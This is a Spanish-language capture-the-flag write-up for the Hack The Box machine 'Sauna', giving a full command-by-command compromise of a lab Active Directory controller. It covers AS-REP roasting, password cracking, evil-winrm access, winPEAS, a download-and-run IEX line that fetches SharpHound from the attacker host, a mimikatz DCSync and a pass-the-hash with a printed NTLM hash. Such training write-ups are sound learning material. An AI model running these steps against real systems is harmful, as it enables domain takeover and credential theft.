HTB_Sauna
Sauna {-}
Introduccion {-}
La maquina del dia se llama Sauna.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.175
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.175
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p53,80,88,135,139,289,445,464,593,636,3269,5985,9389,49667,49673,49674,49677,49689,49698 10.10.10.175 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
53 | domain | Domain controller rpcclient null session | |
80 | http | WebFuzzin | |
88 | Kerberos | asproasting attack | lista de usuarios validos |
135 | msrpc | ||
139 | netbios | ||
389 | LDAP | Bloodhound | credenciales |
445 | smb | Null session | |
464 | kpasswd5? | ||
593 | ncacn_http | ||
636 | tcpwrapped | ||
3268 | ldap | ||
3269 | tcpwrapped | ||
5985 | WinRM | evil-winrm | credenciales |
9389 | mc-nmf | Puertos por defecto de windows | |
49667 | msrpc | Puertos por defecto de windows | |
49673 | msrpc | Puertos por defecto de windows | |
49673 | msrpc | Puertos por defecto de windows | |
49674 | ncacn_http | Puertos por defecto de windows | |
49677 | msrpc | Puertos por defecto de windows | |
49689 | msrpc | Puertos por defecto de windows | |
49698 | msrpc | Puertos por defecto de windows |
Analyzando el SMB {-}
crackmapexec smb 10.10.10.175
smbclient -L 10.10.10.175 -N
smbmap -H 10.10.10.175 -u 'null'
Vemos que estamos frente de una maquina Windows 10 que se llama SAUNA en el dominio EGOTISTICAL-BANK.LOCAL con un certificado firmado.
Añadimos el dominio al /etc/hosts
.
Tambien vemos que no podemos ver los recursos compartidos a nivel de red con un null session.
Buscando ususarios con rpcclient y rpcenum {-}
rpcclient -U "" 10.10.10.175 -N
rpcclient $> enumdomusers
Podemos conectar pero no nos deja ver usuarios del directorio activo.
Kerbrute {-}
git clone https://github.com/ropnop/kerbrute
cd kerbrute
go build -ldflags "-s -w" .
upx kerbrute
./kerbrute userenum --dc 10.10.10.175 -d egotistical-bank.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.175
Es un IIS 10.0
Checkear la web {-}
Si entramos en la url http://10.10.10.175
, Vemos una pagina Egotistical Bank. Navegando por el about.html
vemos usuarios potenciales. Vamos a recuperarlos
con bash
curl -s -X GET "http://10.10.10.175/about.html"
curl -s -X GET "http://10.10.10.175/about.html" | grep "p class=\"mt-2"
curl -s -X GET "http://10.10.10.175/about.html" | grep "p class=\"mt-2" | grep "Fergus Smith" -A 100 | html2text > users
Modificamos el fichero users para crear nombres de usuarios como fsmith
,f.smith
,frank.smith
, smithf
, smith.frank
o otros y intentamos un asproasting attack.
Vulnerability Assessment {-}
Asproasting {-}
GetNPUsers.py egotistical-bank.local/ -no-pass -usersfile users
Aqui vemos un hash para el usuario fsmith
. Lo copiamos en un fichero fsmith_hash
y intentamos romperlo con john.
Crackeando el hash con John {-}
john -wordlists=/usr/share/wordlists/rockyou.txt fsmith_hash
Validamos el usuario con crackmap exec
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
El usuario es valido pero no tenemos un Pwn3d. Checkeamos si es valido con winrm
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
Ademas de ser valido, aqui no pone un Pwn3d! que significa que podemos conectarnos con Evil-WinRM.
Vuln exploit & Gaining Access {-}
Coneccion con EVIL-WINRM {-}
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
whoami
ipconfig
type ../Desktop/user.txt
Ya podemos leer la flag.
Privilege Escalation {-}
Rootear la maquina {-}
cd C:\Users\Administrator
dir
whoami /priv
whoami /all
net user
No tenemos ningun privilegio interessante, tenemos que reconocer el systema.
-
Creamos un directorio para trabajar
cd C:\Windows\Temp mkdir Recon cd Recon
-
En la maquina de atacante no descargamos el WinPeas
wget https://github.com/carlospolop/PEASS-ng/blob/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASx64.exe mv winPEASx64.exe winPEAS.exe
-
Lo uploadeamos desde la maquina victima y lo lanzamos
upload winPEAS.exe ./winPEAS.exe
Aqui hemos encontrado unas credenciales para un autologon.
-
Validamos el usuario desde la maquina de atacante
crackmapexec win rm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
-
Nos conectamos nuevamente con Evil-WinRM
evil-winrm -i 10.10.10.275 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' whoami whoami /priv whoami /all
Nuevamente no encontramos nada muy interesante. Aqui tenemos que tirar de bloodhound
-
En la maquina de atacante preparamos el bloodhound
sudo apt install neo4j bloodhound -y neo4j console bloodhoud &> /dev/null & disown wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1 python -m http.server 80
-
Recolectamos data desde la maquina victima
cd C:\Windows\Temp mkdir privesc cd privesc IEX(New-Object Net.WebClient).downloadString('http://10.10.17.51/SharpHound.ps1') Invoke-BloodHound -CollectionMethod All dir download 20210908210119_BloodHound.zip
Una vez el zip en la maquina de atacante, lo cargamos al BloodHound. Cargado vamos a la pestaña Analysis y
miramos por Find Shortest Paths to Domain Admins
pero no vemos gran cosa. Miramos el Find Principals with DCSync Rights
y vemos que el usuario svc_loanmgr tiene privilegios GetChanges y GetChangesAll sobre el dominio EGOTISTICAL-BANK.LOCAL.
Esto significa que podemos hacer un DCSync attack con este usuario.
DCSync Attack con mimikatz {-}
Buscamos el mimikatz en nuestra maquina de atacante
locate mimikatz.exe
cp /usr/share/mimikatz/x64/mimikatz.exe .
python -m http.server 80
Lo descargamos en la maquina victima y lo lanzamos para extraer el hash del usuario Administrator.
iwr -uri http://10.10.17.51/mimikatz.exe -OutFile mimikatz.exe
C:\Windows\Temp\privesc\mimikatz.exe 'lsadump::dcsync /domain:egotistical-bank.local /user:Administrator' exit
Ahora que hemos recuperado el Hash NTLM del usuario Administrator, podemos hacer un pass the hash.
evil-winrm -i 10.10.10.175 -u 'Administrator' -H 823452073d75b9d1cf70ebdf86c7f98e
Ya somos usuario Administrator y podemos leer la flag.